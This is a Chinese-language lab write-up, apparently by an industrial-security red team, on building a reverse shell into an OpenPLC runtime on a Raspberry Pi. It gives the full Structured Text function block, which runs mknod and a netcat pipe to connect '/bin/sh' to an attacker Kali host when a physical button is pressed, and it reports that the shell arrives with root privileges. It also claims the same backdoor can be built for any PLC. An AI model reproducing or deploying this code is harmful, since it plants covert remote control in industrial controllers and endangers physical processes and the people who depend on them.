这次实验的目标是通过梯形图的编程,对外反弹一个PLC底层OS的shell连接外部Kali机器(也可以是VPS上Kali),而这次采用外部面包板上按钮来做触发。这次PLC仍然采用树莓派上运行OpenPLC来制作。
1、建立实验环境
这次已经准备好以下几项设备:
树莓派(硬件PLC 运行OpenPLC Runtime),IP:192.168.3.14
Window7虚拟机(运行OpenPLC编辑环境), IP:192.168.3.3
Kali攻击机(渗透测试),IP:192.168.3.10
外围电路:面包板,LED灯,按钮和电线
2、编写一个梯形图和封装一个功能块
首先,我们打开OpenPLC编辑器,新建一个项目后,添加一个自定义功能块:
输入一个功能块的名字,这里为了明显,名字选择rsh_exec,同时编程语言选择ST(结构化语言“类似于Pascal”)
定义了功能块的输入和输出,同时写入一段反弹shell的ST的程序段
在ST编辑环境中输入以下这段程序:
IF (exe = TRUE) THEN
{system(“mknod /tmp/pipe p”);}
{system(“/bin/sh 0</tmp/pipe | nc 192.168.3.10 4444 1>/tmp/pipe”);}
done := TRUE;
return;
END_IF;
done := FALSE;
return;
3、在用户逻辑中调用这个功能块:
测试后,运行树莓派上OpenPLC的这段成程序,按下按钮后会反弹一个树莓派 Pi OS的shell给外部Kali机器,同时会显示ID和hostname,并且是root权限。
注释:不是全部PLC都支持这种OS层的shell反弹,但是可以通过梯形图的组态,制作成基于所有PLC的自定义的功能码的shell反弹程序,如果有工控用户shell反弹防护技术和方法感兴趣可以联系工业安全红队IRTeam。